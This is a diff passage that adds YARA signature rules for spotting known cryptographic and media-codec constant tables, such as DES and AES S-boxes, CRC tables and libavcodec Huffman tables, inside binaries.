+	$a0 = { 000000000000f03f1a287d193aa2ef3f8ae67c809317ef3fb598a227bf35ee3f7105fd0f535aed3f4f0afaaf2085ec3f29b20ad0fab5eb3f0c240c81b5ecea3fb439f6122629ea3f30c4cd0b236be93fa592d81e84b2e83f9b5d112422ffe73ff1c6d90fd750e73f8babe8ea7da7e63f741073caf202e63fd0018ec81263e53f39c6c7fcbbc7e43f76d4f674cd30e43ff4043d2e279ee33ff1833d0eaa0fe33fb91384dc3785e23f1d381c3cb3fee13f51f056a5ff7be13fddabbd5f01fde03ff032317c9d81e03f504233cfb909e03f1eaffcc67696dc3fae24757f967ad93f5d3bbc3743b5d63f10494862133dd43f4944ef7aa309d23f4c70dd877913d03fd730c067d7a7cc3fc1937c57138ac93f349f76e310c3c63f69b376c56049c43fca24ed5f9a14c23fda84962d3f1dc03f0b6dac9842b9bc3f9a9999999999b93f7a6e2ef3e6d0b63f52030ba3b555b43f4a8920ef971fb23fe2a9f8c30a27b03f7e792f99682eab3fba58fd6bc5dea63f69a801102d3ea33f903aa04edc30a03f0a8d9e5cee3e9b3f9f260053acec963f98bf7581df49933f9dc22bd1b33a903f0a2a2c2b7e4f8b3f89be56ad9bfa863f3761200f9955833f1b033c4f9144803fa91c24809308773fa7ee73cc744e703fd5678ed09316673f90b1784c5e58603feaebbea39c24573ffca9f1d24d62503f416b8863436c403fb5e8e8013f76303f0000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule rfc3548_Base_32_Encoding__8_byt_ASC_32_
+{
+strings:
+	$a0 = { 4142434445464748494a4b4c4d4e4f505152535455565758595a323334353637 }
+
+condition:
+	$a0
+}
+
+	
+rule _way__32_lil_AND_
+{
+strings:
+	$a0 = { 0b0b0000[0-20]b1b10000[0-20]11100100 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_f_huffman_sa__8_byt_28_
+{
+strings:
+	$a0 = { F1010203F8040506F2F0EF070809F3EEF40A0B0CF5F6EDECF70DEAEB }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_old_11_tap_filter__flt32___32_lil_44_
+{
+strings:
+	$a0 = { 1adf023c5bcba43c0a724dbdca68febd4897953e7d4d353f4897953eca68febd0a724dbd5bcba43c1adf023c }
+
+condition:
+	$a0
+}
+
+	
+rule scaled_down_product_of_jpeg_quantizer_and_AAN_premul_table__8_byt_64_
+{
+strings:
+	$a0 = { 100f0d13181f1c111117191f243f2d1512181b25343b3114101c22283c503314121f3042445638151326383b404030141b3037373833230f142322201f160f08 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_mid__flt32___32_lil_32_
+{
+strings:
+	$a0 = { 0080353f00d09e3f00f60a4000000000008035bf00d09ebf00f60ac000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_skb__32_lil_2048_
+{
+strings:
+	$a0 = { 00000000100000000000002010000020000001001000010000000120100001200008000010080000000800201008002000080100100801000008012010080120200000003000000020000020300000202000010030000100200001203000012020080000300800002008002030080020200801003008010020080120300801200000080010000800000008201000082000000900100009000000092010000920000808001008080000080820100808200008090010080900000809201008092020000800300008002000082030000820200009003000090020000920300009202008080030080800200808203008082020080900300809002008092030080920000000000000000200200000002000020000200000002002002020000020200204000000040000020420000004200002040020000400200204202000042020020004000000040002002400000024000200042000000420020024200000242002040400000404000204240000042400020404200004042002042420000424200200000010000000120020001000200012000020100000201200202010002020120400001004000012042000100420001204002010040020120420201004202012000400100004001200240010002400120004201000042012002420100024201204040010040400120424001004240012040420100404201204242010042420120000000001000000000004000100040000000001010000010000040101000401020000000300000002000400030004000200000103000001020004010300040100020000010200000002040001020400000200010102000100020401010204010202000003020000020204000302040002020001030200010202040103020401000000080100000800000408010004080000000901000009000004090100040902000008030000080200040803000408020000090300000902000409030004090002000801020008000204080102040800020009010200090002040901020409020200080302000802020408030204080202000903020009020204090302040900000000000010000001000000011000080000000800100008010000080110000010000000101000001100000011100008100000081010000811000008111000000000040000100400010004000110040800000408001004080100040801100400100004001010040011000400111004081000040810100408110004081110040000020000001200000102000001120008000200080012000801020008011200001002000010120000110200001112000810020008101200081102000811120000000204000012040001020400011204080002040800120408010204080112040010020400101204001102040011120408100204081012040811020408111204000000000000001000000100000001100400000004000010040001000400011000000020000000300000012000000130040000200400003004000120040001300000100000001010000011000000111004001000040010100400110004001110000010200000103000001120000011300400102004001030040011200400113000100000001000100010010000100110041000000410001004100100041001100010002000100030001001200010013004100020041000300410012004100130001010000010101000101100001011100410100004101010041011000410111000101020001010300010112000101130041010200410103004101120041011300000000000000008080000000800000800040000000400080804000008040008000002000000020808000200080002080004020000040208080402000804020801000000010000080900000009000008010400000104000809040000090400080100020001000208090002000900020801040200010402080904020009040208000000020000000a080000020800000a000400020004000a080400020804000a000002020000020a080002020800020a000402020004020a080402020804020a010000020100000a090000020900000a010400020104000a090400020904000a010002020100020a090002020900020a010402020104020a090402020904020a0000000000010000000008000001080000000001000100010000080100010801100000001001000010000800100108001000000110010001100008011001080100002000000120000000280000012800000020010001200100002801000128011000200010012000100028001001280010002001100120011000280110012801000200000003000000020800000308000002000100030001000208010003080110020000100300001002080010030800100200011003000110020801100308010002200000032000000228000003280000022001000320010002280100032801100220001003200010022800100328001002200110032001100228011003280100000000000000040000040000000404020000000200000402000400020004040020000000200004002004000020040402200000022000040220040002200404200000002000000420000400200004042200000022000004220004002200040420200000202000042020040020200404222000002220000422200400222004040008000000080004000804000008040402080000020800040208040002080404002800000028000400280400002804040228000002280004022804000228040420080000200800042008040020080404220800002208000422080400220804042028000020280004202804002028040422280000222800042228040022280404 }
+
+condition:
+	$a0
+}
+
+	
+rule Black_Hole_Entertainment_ORK_encryption__32_lil_AND_
+{
+strings:
+	$a0 = { 3980b148[0-20]3980b148[0-20]3980b148 }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_0__32_big_1024_
+{
+strings:
+	$a0 = { 64f9001bfeddcdf67c8ff1e211d715148b8c18d3dddf881e6eab505688ced8e14914895969c56fd5b7994f030fbcee3e3c26494021557e58e14b3fc22e5cf591dceff8ce092a1648be812936ff7b0c6ad5251037afa448f17dafc95a1ea69c3fa417abe75890e423b0cb70c0c85025f7244d97e31ff3595fc4ec639659181e17e635b477354e7dbf796f775366eb52cc77c3f99532e3a92780ccaed64e2be89d375bbd28ad1a3d052b1b42b316c44c714d54bfa8e57ddc7aec6d81445a71046bd822965087fc8f24cbc60e09b6390366d9f76092d393a70b1d31a08a9cd971c95c1ef44586fab694fdb441658eaafcbe4bcac6ebfb7a94e55789d04efa13cf35236b8da94133f0006224261cf412f23be75e56a430022116baf17f1fd09872f9c1a3699cf1e802aa0dd145dc4fdce0938d8412f06cd0f3763de6b73d84ba737fb43a30f244569f6900e4eacab58de3b0959113c8d62efee990861f83ced698742f793ceee8571c30483665d1ab07b031914c844f15bf3be82c3f2a9a9eb95fd492e7472d2297cc5bee5f27825377b562db8ebbcff961deddc59b5c601bd3910d26d206adb28514d85ecf6b527fea78bb504879aced34a88436e51d3c1753741d8c47caed9d0a40ef3145e221da27eb70df730ba3183c8789739ac0a69a58dfc654b134c1ac3e242ecc4939027b2dda998f15bc0129fd38c727d5318f604aaff5f29c6818c38aa2ec1019d4c3a8fb936e20ed7b390b68611989a0906f1cc7829e9952ef4b850e9e8ccd063a9067002f8ecfac8cb7eaa24b11988b4e6c46f066dfca7eec08c7bba664831d17bd63f575e69764350e47870d42026ca4a28167d58761b6adabaa6564d270da237b25e1c74aa1c901a00eb0a5da7670f74151c05aea933dfa320759ff1a56010ab85fdecb783f32edf8aebedbb939f8326dd20858c59b638be4a572c80a28e0a19f432099fc3a37c3cdbf95c585b392c12a6aa707d752f66a6112d483b196435b5e3e75802b3ba52b33a99f51a5bda1e15778c2e70cfcae7ce0d16022672affac4d4a5109470ab2b83a7a04e579340dfd80b916e922e29d5e9bf5624af44ca9d9af6bbd2cfee3b7f620c2746e075b42b9b6a06919bcf0f2c40f72217ab514c19df3f3802daee094beb4a2101aff0529575d55cdb27ca33bddb26528b37d740c05dbe96a62c4407828466d30d706bbf48e2cbce2d3de049e37fa01b5e6342d886d8d7e5a2e7ed741201306e90f97e45d3ebab8ad338613051b250c03535471c89b75c638fbd0197f11a1ef0f08fbf844865138409563452f44435d464d5503d8764cb1b8d638a70bba2f94b3d210eb6692a7d409c2d968838526a6db8a15751f6c98de769a88c9ee46681a82a3730896aa4942233681f62c55cb9f1c5404f74fb15cc06e43126ffe5d728aa8678b337cd1298211cefd }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv30_itype_from_context__8_byt_900_
+{
+strings:
+	$a0 = { 000909090909090909000209090909090909090909090909090909020009090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909000109090909090909000201060408050703010002060504030807020800010704030605020001030805040706020001040607080305000105020603080407000106020407050803020700010408060305020800010703040506010009090909090909010205060300040807010602050300040807020107060803050004010205030608040700010602000405080703010502060308040007010600020405070308020107060008050403010207080304050600090909090909090909000201080706050403010200060507040803020807010006040305020008010307050406020004010708060305020001050804060703020006010407080503020708010005040603020807010004030605090909090909090909000201030508060407010002050306040807020801000305070604030205080104060700040200060105080307050301020806040007010600020405080307020700010504080603020803050100070604090909090909090909020006010407050803010602000405030708020807060400010503040201000608030507040206000105070803010205000603040708060400010207050308020704060001080503020807040601030500090909090909090909050102030608000407010506030200040807020105030608070400050301020608040700010602040508000307050103060200080407010605020004030708020701060500080304020501030608040007090909090909090909010602000504030708010605040203000708020106070408050300020106050804030007060401020005070803010605020300040807060104000207050308020704060105000803020106080407030500090909090909090909020004070601080503060102000407050803020708000106040305020400080301070605040207000601080503020100080506070403020604010700050803020704000806010503020807040100030605090909090909090909020008010304060507010200060805070304020807010003060504080302050100040706020004080501070603020100080503060407020106000804050703020708040006010503020803000704010605 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox5__32_lil_256_
+{
+strings:
+	$a0 = { 00010000000108020000080200010042000008000001000000000040000008020001084000000800000100020001084000010042000008420001080000000040000000020000084000000840000000000001004000010842000108420001000200000842000100400000000000000042000108020000000200000042000108000000080000010042000100000000000200000040000008020001004200010840000100020000004000000842000108020001084000010000000000020000084200010842000108000000004200010842000008020000000000000840000000420001080000010002000100400000080000000000000008400001080200010040 }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_uodemo_dat_algorithm_key__32_lil_32_
+{
+strings:
+	$a0 = { 984caaf767c062bf3443520bd0a228bcd1c2576baa43382310026dc004f8d438 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc7_quant_vlc__16_big_3584_
+{
+strings:
+	$a0 = { 00360006000900050020000600050005000a000400070005003400060000000500230006000a00050006000400040005000b000400070003000c00040003000500070004000b00050022000600010005003500060006000500090004000200050021000600080005003700060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000670008003e000700e1000900370007000300040034000700650008003c000700e300090018000600000004003d0007000400040001000100050004003f000700010004003b000700e20009003900070064000800350007000200040036000700e00009003a0007006600080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000590007002f0006000f000500000005005b00070004000500060004000d0004000400040005000500140005000c000400040003000f0004000e00050003000500030004000e00040005000400010005005a00070002000500150005002e0006005800070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000399000a007100070033000600e70008039a000a00680007001e000500000003001d0005006900070032000600010003000200020003000300310006006b0007001b000500020003001f0005007000070398000a006a00070030000600720007039b000a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c00040004000300000002000100020007000300050003000d0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400050003000400020002000300020001000200000003000500050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000400000003000400030006000300070003000500030003000300010003000400040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000090005000c000400030003000000020002000200070003000d0004000500040008000500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003900060017000500080004000a0004000d000400000003000200030003000300010003000f0004000c000400090004001d000500160005003800060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e50008003800060007000500020004000000030003000300050003000600030004000300020003000f0004001d0005000600050073000700e40008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041000700060006002c0006002d0006003b0006000d000500110005001300050017000500150005001a0005001e0005000000040002000400050004000700040003000400040004001f0005001c000500190005001b0005001800050014000500120005000c000500020005003a00060021000600070006004000070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001948000d194a000d0328000a0195000900cb0008006600070031000600090005000f0005001f0005000200040006000400080004000b0004000d000400000003000e0004000a0004000900040005000400030004001e0005000e000500080005003000060067000700c9000800c800080653000b1949000d194b000d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006700080099000800b5000800e900080040000700410007004d000700510007005b0007007100070070000700180006001d0006002300060025000600290006002c0006002e00060033000600310006003600060037000600390006003c00060000000500020005000a0005000500050009000500060005000d000500070005000b0005000f000500080005000400050003000500010005003f0006003e0006003d000600350006003b00060034000600300006002f0006002b0006002a0006002700060024000600210006001c00060075000700650007006400070050000700450007004400070032000700e8000800b4000800980008006600080000000037a4000e37ad000e37a6000e37ae000e0dea000c02f0000a02f1000a00a0000900a2000901bc0009007a000800df0008003c000700490007006e0007000e000600180006001900060022000600250006003600060003000500090005000b000500100005001300050015000500180005001a0005001d0005001f00050002000400000004001e0005001c0005001900050016000500140005000e0005000d0005000800050006000500020005002e000600230006001f000600150006000f0006005f0007004800070029000700bd0008007b00080179000900a10009037b000a0147000a0146000a0de8000c37af000e37a7000e37ac000e37a5000e00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_drc_pow2_table__flt32___32_big_188_
+{
+strings:
+	$a0 = { 3f03c02d3f079c7d3f0b95c23f0facd63f13e2993f1837f03f1cadc93f2145183f25fed73f2adc083f2fddb73f3504f33f3a52d83f3fc8873f45672a3f4b2ff53f5124243f5744fd3f5d93ce3f6411f03f6ac0c73f71a1bf3f78b6513f8000003f83c02d3f879c7d3f8b95c23f8facd63f93e2993f9837f03f9cadc93fa145183fa5fed73faadc083fafddb73fb504f33fba52d83fbfc8873fc5672a3fcb2ff53fd124243fd744fd3fdd93ce3fe411f03feac0c73ff1a1bf3ff8b651 }
+
+condition:
+	$a0
+}
+
+	
+rule AES_Rijndael_Si___ARIA_X1__8_byt_256_
+{
+strings:
+	$a0 = { 52096ad53036a538bf40a39e81f3d7fb7ce339829b2fff87348e4344c4dee9cb547b9432a6c2233dee4c950b42fac34e082ea16628d924b2765ba2496d8bd12572f8f66486689816d4a45ccc5d65b6926c704850fdedb9da5e154657a78d9d8490d8ab008cbcd30af7e45805b8b34506d02c1e8fca3f0f02c1afbd0301138a6b3a9111414f67dcea97f2cfcef0b4e67396ac7422e7ad3585e2f937e81c75df6e47f11a711d29c5896fb7620eaa18be1bfc563e4bc6d279209adbc0fe78cd5af41fdda8338807c731b11210592780ec5f60517fa919b54a0d2de57a9f93c99cefa0e03b4dae2af5b0c8ebbb3c83539961172b047eba77d626e169146355210c7d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_poly_0xd3__8_byt_refl_True_
+{
+strings:
+	$a0 = { 000e1c123836242a707e6c624846545ae0eefcf2d8d6c4ca909e8c82a8a6b4ba57594b456f61737d27293b351f11030db7b9aba58f81939dc7c9dbd5fff1e3edaea0b2bc96988a84ded0c2cce6e8faf44e40525c76786a643e30222c06081a14f9f7e5ebc1cfddd38987959bb1bfada31917050b212f3d336967757b515f4d43cbc5d7d9f3fdefe1bbb5a7a9838d9f912b253739131d0f015b554749636d7f719c92808ea4aab8b6ece2f0fed4dac8c67c72606e444a58560c02101e343a2826656b79775d53414f151b09072d23313f858b9997bdb3a1aff5fbe9e7cdc3d1df323c2e200a041618424c5e507a746668d2dccec0eae4f6f8a2acbeb09a948688 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab2__16_lil_34_
+{
+strings:
+	$a0 = { F1FFF5FFF7FFFBFFFDFFFFFF220002001200FFFF210020001100FFFF010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule redoc2_key_x__8_byt_10_
+{
+strings:
+	$a0 = { 724d3e0e5b71e9aa3898 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_weight_248__32_lil_256_
+{
+strings:
+	$a0 = { 000002000db2030053ec0300e09f030000800300bc0f03000db203000a6a0300c96e0300ad000300000004000db2030000800300bc0f030053ec0300e09f0300cc3b030014d40200939903006d53030000800300cc3b03006126030058c102000db203000a6a0300c96e0300ad000300cc3b030014d40200939903006d53030000100300c5ad0200d76603008d240300bc0f030014d40200fcf90200839a020000800300cc3b03006126030058c1020000100300c5ad0200d76603008d240300c5ad0200d857020043e2020011aa0200fb8502000b350200bc0f030014d40200fcf90200839a0200c5ad0200d857020043e2020011aa0200fb8502000b350200 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_sfb_32_120__16_big_28_
+{
+strings:
+	$a0 = { 00040008000c00100014001c0024002c003800440050006000700078 }
+
+condition:
+	$a0
+}
+
+	
+rule NSA_LPC_10_Voice_Coder_TAU__32_big_240_
+{
+strings:
+	$a0 = { 0000001400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e0000001f0000002000000021000000220000002300000024000000250000002600000027000000280000002a0000002c0000002e00000030000000320000003400000036000000380000003a0000003c0000003e00000040000000420000004400000046000000480000004a0000004c0000004e0000005000000054000000580000005c0000006000000064000000680000006c0000007000000074000000780000007c0000008000000084000000880000008c0000009000000094000000980000009c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_gain_window__flt32___32_lil_152_
+{
+strings:
+	$a0 = { 8e75013ff931063f431c0b3f6e34103f007e153f00f81a3f00a4203f0086263f00a02c3f00f2323f007e393f004a403f0054473f00a04e3f0030563f00085e3f002a663f00986e3f0024763f00967b3f00e27e3f0000803f00ee7e3f00b07b3f004a763f00ca6e3f0040653f00c0593f00644c3f00483d3f00902c3f005e1a3f00da063f005ce43e0014b93e00348c3e00483c3e0020bd3d }
+
+condition:
+	$a0
+}
+
+	
+rule RNG__original_numbers___32_big_AND_
+{
+strings:
+	$a0 = { 7fffffff[0-20]0000adc8 }
+
+condition:
+	$a0
+}
+
+	
+rule huffyuv_classic_add_chroma__8_byt_256_
+{
+strings:
+	$a0 = { 03010202020203030705070508060b09070d0b0a0908070509070604070508070b080d0b130f16171421201c1b1d334d2b2d4c512e524b3738903a503c4a933f8f4142434445464748494a4b4c4d4e4f505152535455565758595a5b1b1e1516110e050664362f3233356a6b6c6d6e6f707172730475765c5e797a037c6702010081828378777e7d88898a8b8c8d8e868784856840653e39665f5d3b3d1c61603431301d2019182e17622d2c2b142a29131263280f2726100d0c0b250a09082407807f697b74232221911f4f2a924e1a533031322c2f1a1f1e1211131518190d0e10111214150c0e0f090a0609060508060c080a070906040602020303030302 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_asus_v1_v2_scantab__8_byt_64_
+{
+strings:
+	$a0 = { 0008010910181119020a030b121a131b040c050d20282129060e070f141c151d222a232b30383139161e171f242c252d323a333b262e272f343c353d363e373f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_g_decayslope__flt32___32_big_180_
+{
+strings:
+	$a0 = { 3f8000003f8000003f8000003f7333333f6666663f59999a3f4ccccd3f4000003f3333333f2666663f19999a3f0ccccd3f0000003ee666663ecccccd3eb333333e99999a3e8000003e4ccccd3e19999a3dcccccd3d4ccccd0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Generic_squared_map__32_big_64_
+{
+strings:
+	$a0 = { 00000000000000010000000400000005000000100000001100000014000000150000004000000041000000440000004500000050000000510000005400000055 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_indeo_ir2_luma_table__8_byt_256_
+{
+strings:
+	$a0 = { 808084847c7c7f85817b857f7b818c8c7474838d7d738d83737d77898977897777898c95746b958c6b747c908470907c708496966a6a82987e689882687e97a2695ea2975e69a2a25e5e8ba3755da38b5d7571958f6b95716b8f789d88639d7863887fa78159a77f5981a4b15c4fb1a44f5c96b16a4fb1964f6ab2b24e4e659b9b659b65659b89b4774cb4894c776aa3965da36a5d9673ac8d54ac73548db4c34c3dc3b43d4ca4c35c3dc3a43d5cc4c43c3c96c66a3ac6963a6a7cba8446ba7c46845baba555ab5b55a563b49d4cb4634c9d86ca7a36ca86367ab6d74a29d7b6294ac8d73829d7c82938a4d85c28d8a4285c6cc1943fc16c3f94d9d927278080 }
+
+condition:
+	$a0
+}
+
+	
+rule function_where_is_handled_the_ZipCrypto_password__32_lil_AND_
+{
+strings:
+	$a0 = { 78563412[0-20]89674523[0-20]90785634 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_window__flt64___64_lil_888_
+{
+strings:
+	$a0 = { 326e14a04074e23f4ebe34a03996e23fc15232406fb8e23fc110cadfe3dae23fb982d85f97fde23f8937e4ff8b20e33fdf182d00c043e33f5fc1d0ff7f67e33f3fdafdff3f8be33f277edbff3fafe33fdf182d00c0d3e33fa13e2f0080f8e33f62643100401de43f95101e008042e43f30b844000068e43f6befe1ff7f8de43f771df3ff7fb3e43feb463e00c0d9e43f68fb39004000e53f563620004027e53f44710600404ee53f9ba726008075e53f62643100409de53f33acecff3fc5e53f6befe1ff7fede53f0c2e11000016e63fb6f7f0ffbf3ee63fc7bc0a00c067e63f4a080f004091e63fd6dec3ffffbae63f2a213c0000e5e63f277edbff3f0fe73ff4d1eeffff39e73fc1250200c064e73f000000000090e73fa7d5370080bbe73f5fc1d0ff7fe7e73f771df3ff7f13e83f000000000040e83ffa68f7ffff6ce83ff4d1eeffff99e83f5fc1d0ff7fc7e83f33acecff3ff5e83f771df3ff7f23e93fbc8ef9ffbf51e93f7186eaff7f80e93f9804c6ffbfafe93f277edbff3fdfe93f1ef32a00000fea3f277edbff3f3fea3f9804c6ffbf6fea3f7186eaff7fa0ea3fbc8ef9ffbfd1ea3f6e9242004003eb3f33acecff3f35eb3f5fc1d0ff7f67eb3ff4d1eeffff99eb3ffa68f7ffffcceb3f7186eaff7f00ec3f509f17004034ec3f3943f5ff3f68ec3f926dbdffbf9cec3fbc8ef9ffbfd1ec3fee3ae6ffff06ed3f89e20c00803ced3f95101e008072ed3f12c5190000a9ed3f9804c6ffbfdfed3fee3ae6ffff16ee3fad6c4000804eee3f7db4fbff7f86ee3f1ef32a0000bfee3fc7bc0a00c0f7ee3fe20cd5ffff30ef3fcd531300c06aef3fc1250200c0a4ef3fa432d7ffbfd5ef3f509f170040f4ef3f9804c6ffbfffef3faac9dfffbff8ef3f277edbff3fdfef3f0697080000b3ef3fe8a3ddffff73ef3f069708000023ef3f8f79150080bfee3ff4d1eeffff49ee3f0697080000c3ed3f6558d9ff7f2aed3fe20cd5ffff80ec3fee3ae6ffffc6eb3f89e20c0080fcea3f2d15e4ff3f22ea3f12c519000039e93fd9812400c040e83f6558d9ff7f3ae73f7db4fbff7f26e63f9ba726008005e53fa13e2f0080d8e33f9804c6ffbf9fe23f185c2200005ce13f44710600400ee03fdc75ccffff6ddd3fad6c400080aeda3f30098cff7fdfd73f95101e008002d53f12c519000019d23f776e3affff4ace3f417d5e000051c83fb35490ffff48c23f9c6f0300006eb83f68974b000074a83f }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS1__32_lil_1024_
+{
+strings:
+	$a0 = { 30083838e0c828e8210d2d2ca28626a4c3cf0fccd2ce1edcb38333b0b08838b8a38f2fac6040206051451554c3c707c440440444634f2f6c634b2b68534b1b58c3c303c06242226033033330b18535b421092928a08020a0e2c222e0a38727a4d3c313d0918111901101111002060604100c1c1cb08c3cbc32063634434b0b48e3cf2fec80880888604c2c6ca08828a813071714c0c404c412061614f0c434f4c2c202c041450544e1c121e0d2c616d4330f3f3c310d3d3c828e0e8c9088189820082828424e0e4cf2c636f4320e3e3ca18525a4f1c939f8010d0d0cd3cf1fdcd0c818d8230b2b2862462664724a3a7823072724230f2f2cf1c131f07242327042420240d0c414d441410140c0c000c07343337063472764a08c2cac838b0b88f3c737f4a18d2dac80800080130f1f1cc2ca0ac8200c2c2ca28a2aa830043434d2c212d0030b0b08e2ce2eece1c929e8514d1d5c9084149410081818f0c838f853471754a28e2eac00080808c1c505c413031310c1cd0dcc82860684b18939b8f3cf3ffc714d3d7cc1c101c031013130f1c535f4828a0a88624a2a68b18131b0d1c111d020002020d3c717d4020202002202222000040404604828687141317003070704d3cb1bd8918d1d9c9189199861412160b28e3ebce2c626e451491958d1cd1ddc5141115090801090d0cc1cdc928a1a98a38323a0a38b2ba8d0c010d081810180030f0f0c43470744120a1a18e3c323e0e0cc2cec818d0d8cb38f3fbc92861694734b3b78504c1c5ca28222a0a18121a06343236023032320414d0d4cc0c808c8928e1e9c908c1c9c320a3a38000c0c0c220e2e2cb28a3ab8624e2e6c938f1f9c524a1a58f2c232f092821290f3c333f04149094870483878c0cc0ccc11051514f3cb3bf87040307071453574734f3f7c31053534100010100303030060442464614d2d6cc2c606c470443474d1c515d4b08434b4e2ca2ae8010909087246367411091918f2ce3efc4040004012021210e0c020e0b18d3dbc01050504f2ca3af801010100f0c030f0220a2a28524e1e5ca18929a85246165443430340818505841004141481890988938b1b98b08030b0e1c525e4404808487149397893871794f0cc3cfc120e1e1c8282028021012120808c0c8c130b1b18534f1f5c7347377450441454b28232b0110d1d1c21052524434f0f4c0000000042460644e1cd2dec5048185852421250e3cb2be8724e3e7cd2ca1ad8c1c909c8f1cd3dfc300030309185159461452564300c3c3cb28636b4e0c424e4b38b3bb8704c3c7c020e0e0c5040105031093938220626243202323080840484614929689383139033073734e3c727e420042424a08424a4c3cb0bc853431350020a0a0883870784d1c919d8404c0c4c83830380838f0f8cc2ce0ecc330b3b38424a0a48b38737b4 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_swb_offset_1024_32__16_lil_104_
+{
+strings:
+	$a0 = { 0000040008000c001000140018001c0020002400280030003800400048005000580060006c00780084009000a000b000c400d800f00008012401400160018001a001c001e00100022002400260028002a002c002e00200032003400360038003a003c003e0030004 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_shape__flt32___32_big_2560_
+{
+strings:
+	$a0 = { 3ea70000bfb86000bf1cc000bf5fc000bf9f9000c01d4000c00f0800bf02a0003fb5c0003fcf6000bfb03000bfa75000beed0000bfb09000c00b1000c050b800be2a00003f394000bf1f80003f1dc000be8c8000c05328003f2020003db30000bf1f4000bf9d0000c05ed000c019e800405808003f96b000bf9ae000bd9c000040125800bff2100000000000c08040003f85c000be6f0000bfae10003e8540003f6c20003fac70003f2ca000c0595800c038c800401ed000bf99c000c03490003f60a0003e8e0000bf8a0000bfced000c00d5800c042e000c06a8800bfa9f00040083000bfbac000bf0fa0003fa680003f1d60003ef8c0003fa97000bf9a0000c0a258003f574000c06c8800bfab60003f87b000bf9190003f0100003ebac000bed68000c0785000c0c8ac003fc220004017c000c0030800bf9ed0003f0160003f68c000bef00000c04f20003e4d00004037d000bf9bd000bfa44000bffa0000bcf0000040611000bfa700003f34c0003f400000bfef70003f1a2000c025b000405800003f46a000c002d8003fe51000bfd80000c07f5000c070e8003f2d00004012d000c012d800c0420800c0aea000407d400041037c003ee88000405ae0003f1ea000c08c44003fa070004011480040b870003fd71000c030c8003f15e0003f9ee000bdb70000c08a6c00c07940003fc9e000bfb38000bf7b6000c097c400c083040040cadc003fc0e0003f85c000bfe60000c096ac00bfb50000c06dc800404b9800bf8